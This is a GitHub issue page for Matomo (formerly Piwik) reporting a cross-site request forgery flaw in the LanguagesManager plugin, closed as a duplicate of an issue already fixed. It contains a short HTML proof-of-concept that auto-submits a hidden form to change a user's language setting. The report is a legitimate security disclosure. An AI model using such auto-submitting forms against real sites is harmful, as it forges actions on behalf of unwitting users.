Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

CSRF in LanguagesManager-Plugin #3738

Closed
anonymous-matomo-user opened this issue Feb 6, 2013 · 1 comment
Closed

CSRF in LanguagesManager-Plugin #3738

anonymous-matomo-user opened this issue Feb 6, 2013 · 1 comment
Labels
Bug For errors / faults / flaws / inconsistencies etc. c: Security For issues that make Matomo more secure. Please report issues through HackerOne and not in Github. duplicate For issues that already existed in our issue tracker and were reported previously. Major Indicates the severity or impact or benefit of an issue is much higher than normal but not critical.
Milestone

Comments

@anonymous-matomo-user
Copy link

The LanguagesManager-Plugin is vulnerable to Cross Site Request Forgery.
The saveLanguage-Function is not checking the token_auth-Variable, nor there is any Protection against CSRF.

A short PoC-Script:
<html><head><title>Piwik CRSF PoC</title> </head> <body> <form name="test" action="http://localhost/index.php?module=LanguagesManager&action=saveLanguage" method="post">
<!--change the URL in action-attribute--> <input type="hidden"
name="language" value='ar'> <!--replace the value with any
possible language file, for example de,en,ar--> </form>
<script>document.test.submit();</script> </body> </html>

@halfdan
Copy link
Member

halfdan commented Feb 6, 2013

Thanks Merlin, this has already been reported in #3733 and fixed in [c2f670c].

@anonymous-matomo-user anonymous-matomo-user added this to the 1.12.x - Piwik 1.12.x milestone Jul 8, 2014
This issue was closed.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Bug For errors / faults / flaws / inconsistencies etc. c: Security For issues that make Matomo more secure. Please report issues through HackerOne and not in Github. duplicate For issues that already existed in our issue tracker and were reported previously. Major Indicates the severity or impact or benefit of an issue is much higher than normal but not critical.
Projects
None yet
Development

No branches or pull requests

2 participants